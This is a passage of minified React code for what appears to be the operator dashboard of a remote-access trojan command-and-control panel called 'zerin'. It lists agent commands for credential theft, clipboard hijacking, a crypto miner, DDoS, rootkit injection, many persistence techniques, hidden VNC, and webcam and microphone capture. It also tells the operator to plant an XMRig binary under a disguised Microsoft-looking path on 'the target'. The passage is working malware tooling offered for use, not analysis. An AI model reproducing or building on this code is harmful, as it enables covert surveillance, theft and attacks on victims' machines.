disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):a.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
|
||
text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r
|
||
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),a.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:a.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",a.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function Ca({label:e,value:t,valueClass:n}){return a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[a.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const Fb=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],hV={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},Am=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function xV(){const{id:e}=il(),t=xr(),[n,r]=Cx(),[i,s]=m.useState(null),[o,l]=m.useState([]),[c,u]=m.useState([]),[d,f]=m.useState(!0),[p,h]=m.useState(""),[x,g]=m.useState(""),[y,v]=m.useState(!1),[b,w]=m.useState(!1),[j,N]=m.useState(()=>{const $=n.get("tab");return $&&Am.includes($)?$:"overview"}),[k,z]=m.useState(()=>{const $=n.get("tab"),fe=new Set(["overview"]);return $&&Am.includes($)&&fe.add($),fe}),[S,O]=m.useState(null),[A,T]=m.useState(!0),[P,D]=m.useState(!1),[G,R]=m.useState(null),[K,_]=m.useState(new Set),[M,F]=m.useState(()=>n.get("auto")==="1"),[U,V]=m.useState(null),[Z,ae]=m.useState(-1),[ue,be]=m.useState(!1),ye=m.useRef(null);m.useEffect(()=>{z($=>{if($.has(j))return $;const fe=new Set($);return fe.add(j),fe})},[j]),m.useEffect(()=>{z(new Set(["overview"]))},[e]),m.useEffect(()=>{const $=n.get("tab");$&&Am.includes($)&&$!==j&&N($)},[n]);const q=$=>{N($),$==="overview"?n.delete("tab"):n.set("tab",$),r(n,{replace:!0})},te=m.useCallback(async()=>{if(e)try{const $=await ZE(e);s($),h("");try{const fe=await Xn(e);l(fe.tasks??[]),u(fe.results??[])}catch{l([]),u([])}}catch($){s(null);const fe=$ instanceof Error&&"status"in $?$.status:"network";h($ instanceof Error?`${$.message} (${fe})`:String($))}finally{f(!1)}},[e]);m.useEffect(()=>{te();const $=setInterval(te,5e3);return()=>clearInterval($)},[te]),m.useEffect(()=>{if(!e)return;let $=!0;const fe=async()=>{try{const H=await m6(e);$&&V(H)}catch{$&&V(null)}};fe();const ve=setInterval(fe,3e3);return()=>{$=!1,clearInterval(ve)}},[e]),m.useEffect(()=>{if(!S)return;const $=fe=>{fe.key==="Escape"&&O(null)};return window.addEventListener("keydown",$),()=>window.removeEventListener("keydown",$)},[S]);const C=m.useMemo(()=>[...o].sort(($,fe)=>new Date($.created_at).getTime()-new Date(fe.created_at).getTime()),[o]),Y=5e3,ne=m.useMemo(()=>{var fe;const $=[];for(const ve of C){const H=(fe=ve.args)!=null&&fe.length?" "+ve.args.join(" "):"";$.push({type:"command",content:`${ve.command}${H}`,timestamp:ve.created_at});const se=c.find(W=>W.task_id===ve.id);se?(se.error&&$.push({type:"error",content:se.error,timestamp:se.completed_at}),se.output&&$.push({type:"output",content:se.output,timestamp:se.completed_at})):ve.status==="queued"||ve.status==="sent"?$.push({type:"system",content:`[${ve.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):ve.status==="timeout"&&$.push({type:"error",content:"[Task timed out]"})}if($.length>Y){const ve=$.slice($.length-Y);return ve.unshift({type:"system",content:`[Output truncated: showing last ${Y.toLocaleString()} of ${$.length.toLocaleString()} lines]`}),ve}return $},[C,c]),B=m.useMemo(()=>{const $=[];for(const fe of C){if(fe.command!=="screenshot")continue;const ve=c.find(H=>H.task_id===fe.id);if(ve!=null&&ve.data){const H=m_(ve.data)?f_(ve.data):`data:image/png;base64,${ve.data}`;$.push({taskId:fe.id,timestamp:ve.completed_at,dataUrl:H})}}return $},[C,c]),le=x?Fb.filter($=>$.startsWith(x.split(" ")[0])&&$!==x.split(" ")[0]):Fb;async function we($){var se;if($.preventDefault(),!e||!x.trim())return;const fe=x.trim().split(/\s+/),ve=fe[0],H=fe.slice(1);v(!0),w(!1);try{await Me(e,{command:ve,args:H}),g(""),R(null),setTimeout(te,500)}catch(W){R(`[SEND FAILED] ${W instanceof Error?W.message:"Unknown error"}`)}finally{v(!1),(se=ye.current)==null||se.focus()}}function Ne($){var fe;g($+" "),w(!1),(fe=ye.current)==null||fe.focus()}if(d)return a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"flex flex-col items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),a.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),p&&a.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:p}),a.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent
|
||
hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20
|
||
px-4 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const Ae=i.hostname||"unknown";return a.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim
|
||
hover:text-zerin-accent transition-colors px-2 py-1
|
||
hover:bg-zerin-accent-muted`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),a.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:Ae}),a.jsx(xd,{status:i.status,size:"md",showLabel:!0}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:no(i.id)}),i.elevated&&a.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&a.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[a.jsxs("button",{onClick:async()=>{try{await Ex(i.id);const $=st(),fe=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
|
||
text-zerin-accent hover:text-zerin-accent-hover
|
||
bg-zerin-accent-muted hover:bg-zerin-accent/20
|
||
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),a.jsxs("button",{onClick:async()=>{try{await Pj(i.id);const $=st(),fe=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
|
||
text-zerin-accent hover:text-zerin-accent-hover
|
||
bg-zerin-accent-muted hover:bg-zerin-accent/20
|
||
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),a.jsxs("div",{className:"relative",children:[a.jsxs("button",{onClick:()=>be($=>!$),className:`inline-flex items-center gap-1.5 text-sm font-medium
|
||
text-zerin-accent hover:text-zerin-accent-hover
|
||
bg-zerin-accent-muted hover:bg-zerin-accent/20
|
||
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",a.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),ue&&a.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[a.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),a.jsxs("select",{value:Z,onChange:$=>ae(Number($.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[a.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map($=>a.jsxs("option",{value:$,children:["Camera ",$]},$))]}),a.jsx("button",{onClick:async()=>{be(!1);try{await Ej(i.id,Z);const $=st(),fe=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),a.jsxs("button",{onClick:async()=>{try{await _j(i.id);const $=st(),fe=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
|
||
text-zerin-accent hover:text-zerin-accent-hover
|
||
bg-zerin-accent-muted hover:bg-zerin-accent/20
|
||
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),a.jsxs("button",{onClick:async()=>{try{await Me(i.id,{command:"screenshot"}),q("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
|
||
text-zerin-accent hover:text-zerin-accent-hover
|
||
bg-zerin-accent-muted hover:bg-zerin-accent/20
|
||
px-3 py-1.5 transition-colors`,children:[a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),a.jsxs("button",{onClick:()=>D(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium
|
||
text-zerin-accent hover:text-zerin-accent-hover
|
||
bg-zerin-accent-muted hover:bg-zerin-accent/20
|
||
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),a.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[a.jsx(Nn,{label:"Overview",active:j==="overview",onClick:()=>q("overview")}),a.jsx(Nn,{label:"Screenshots",active:j==="screenshots",onClick:()=>q("screenshots"),badge:B.length>0?B.length:void 0}),a.jsx(Nn,{label:"Files",active:j==="files",onClick:()=>q("files")}),a.jsx(Nn,{label:"Processes",active:j==="processes",onClick:()=>q("processes")}),a.jsx(Nn,{label:"Windows",active:j==="windows",onClick:()=>q("windows")}),a.jsx(Nn,{label:"Apps",active:j==="apps",onClick:()=>q("apps")}),a.jsx(Nn,{label:"System",active:j==="system",onClick:()=>q("system")}),a.jsx(Nn,{label:"Troll",active:j==="troll",onClick:()=>q("troll")}),a.jsx(Nn,{label:"Credentials",active:j==="credentials",onClick:()=>q("credentials")}),a.jsx(Nn,{label:"Clipper",active:j==="clipper",onClick:()=>q("clipper")}),a.jsx(Nn,{label:"DDoS",active:j==="ddos",onClick:()=>q("ddos")}),a.jsx(Nn,{label:"Miner",active:j==="miner",onClick:()=>q("miner")})]}),a.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[a.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:a.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[a.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[a.jsxs(Om,{title:"System",children:[a.jsx(an,{label:"Hostname",value:i.hostname}),a.jsx(an,{label:"Username",value:i.username}),a.jsx(an,{label:"OS",value:Io(i.os)}),a.jsx(an,{label:"Architecture",value:i.arch}),a.jsx(an,{label:"PID",value:String(i.pid),mono:!0}),a.jsx(an,{label:"Integrity",value:i.integrity}),a.jsx(an,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),a.jsxs(Om,{title:"Network",children:[a.jsx(an,{label:"Internal IP",value:i.internal_ip,mono:!0}),a.jsx(an,{label:"External IP",value:i.external_ip,mono:!0})]}),a.jsxs(Om,{title:"Timing",children:[a.jsx(an,{label:"Sleep / Jitter",value:Ij(i.sleep_interval,i.jitter),mono:!0}),a.jsx(an,{label:"First Seen",value:Lo(i.first_seen)}),a.jsx(an,{label:"Last Seen",value:eu(i.last_seen)}),a.jsx(an,{label:"Agent ID",value:no(i.id),mono:!0})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),a.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${U!=null&&U.active?"bg-emerald-400":"bg-zinc-600"}`})]}),a.jsx("div",{className:"px-4 py-3",children:U!=null&&U.active?a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),a.jsx("span",{className:"font-mono text-zerin-text",children:U.port?`127.0.0.1:${U.port}`:"-"})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),a.jsx("span",{className:"font-mono text-zerin-text",children:U.channels})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),a.jsxs("span",{className:"font-mono text-zerin-text",children:[Mp(U.bytes_in)," in / ",Mp(U.bytes_out)," out"]})]}),a.jsx("button",{onClick:async()=>{try{await f6(i.id),V({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):a.jsxs("div",{className:"space-y-2",children:[a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&a.jsx("button",{onClick:async()=>{try{const $=await Aj(i.id);V({active:!0,port:$.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),a.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),a.jsx("div",{className:"overflow-x-auto",children:C.length===0?a.jsx("div",{className:"px-4 py-12 text-center",children:a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...C].reverse().map($=>{var ve;const fe=(ve=$.args)!=null&&ve.length?" "+$.args.join(" "):"";return a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[$.command,fe]}),a.jsx("td",{className:"px-4 py-2.5",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${hV[$.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:$.status})}),a.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:Lo($.created_at)})]},$.id)})})]})})]})})]})}),k.has("files")&&a.jsx("div",{style:{display:j==="files"?void 0:"none"},children:a.jsx(QU,{agentId:i.id,agentStatus:i.status})}),k.has("processes")&&a.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:a.jsx(JU,{agentId:i.id,agentStatus:i.status})}),k.has("windows")&&a.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:a.jsx(eV,{agentId:i.id,agentStatus:i.status})}),k.has("apps")&&a.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:a.jsx(tV,{agentId:i.id,agentStatus:i.status})}),k.has("system")&&a.jsx("div",{style:{display:j==="system"?void 0:"none"},children:a.jsx(nV,{agentId:i.id,agentStatus:i.status})}),k.has("troll")&&a.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:a.jsx(iV,{agentId:i.id})}),k.has("credentials")&&a.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:a.jsx(uV,{agentId:i.id,agentStatus:i.status,autoGrab:M,onAutoGrabConsumed:()=>{F(!1),n.delete("auto"),r(n,{replace:!0})}})}),k.has("clipper")&&a.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:a.jsx(mV,{agentId:i.id,agentStatus:i.status})}),k.has("ddos")&&a.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:a.jsx(lS,{agentIds:[i.id],agentStatus:i.status})}),k.has("miner")&&a.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:a.jsx(pV,{agentId:i.id,agentStatus:i.status})}),k.has("screenshots")&&a.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:a.jsx("div",{className:"p-6 animate-fade-in",children:B.length===0?a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",a.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):a.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:B.map($=>a.jsxs("button",{onClick:()=>O($.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border
|
||
hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[a.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:K.has($.dataUrl)?a.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):a.jsx("img",{src:$.dataUrl,alt:`Screenshot ${no($.taskId)}`,className:`w-full h-full object-cover opacity-90
|
||
group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>_(fe=>new Set(fe).add($.dataUrl))})}),a.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:no($.taskId)}),a.jsx("span",{className:"text-xs text-zerin-text-muted",children:eu($.timestamp)})]})})]},$.taskId))})})})]}),a.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("button",{onClick:()=>T($=>!$),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim
|
||
hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${A?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),a.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&a.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),A&&a.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:a.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[a.jsx(ZU,{lines:ne,className:"flex-1 border-0"}),a.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&le.length>0&&a.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0
|
||
bg-zerin-panel border border-zerin-panel-border
|
||
z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:a.jsxs("div",{className:"p-2",children:[a.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),a.jsx("div",{className:"flex flex-wrap gap-1",children:le.map($=>a.jsx("button",{onClick:()=>Ne($),className:`px-2.5 py-1 text-xs font-mono
|
||
bg-zerin-bg text-zerin-text-dim
|
||
border border-zerin-panel-border
|
||
hover:text-zerin-accent hover:border-zerin-accent/40
|
||
hover:bg-zerin-accent-muted transition-colors`,children:$},$))})]})}),G&&a.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:G}),a.jsxs("form",{onSubmit:we,className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),a.jsx("input",{ref:ye,type:"text",value:x,onChange:$=>g($.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border
|
||
px-3 py-1.5 text-zerin-text font-mono text-sm
|
||
placeholder-zerin-text-muted
|
||
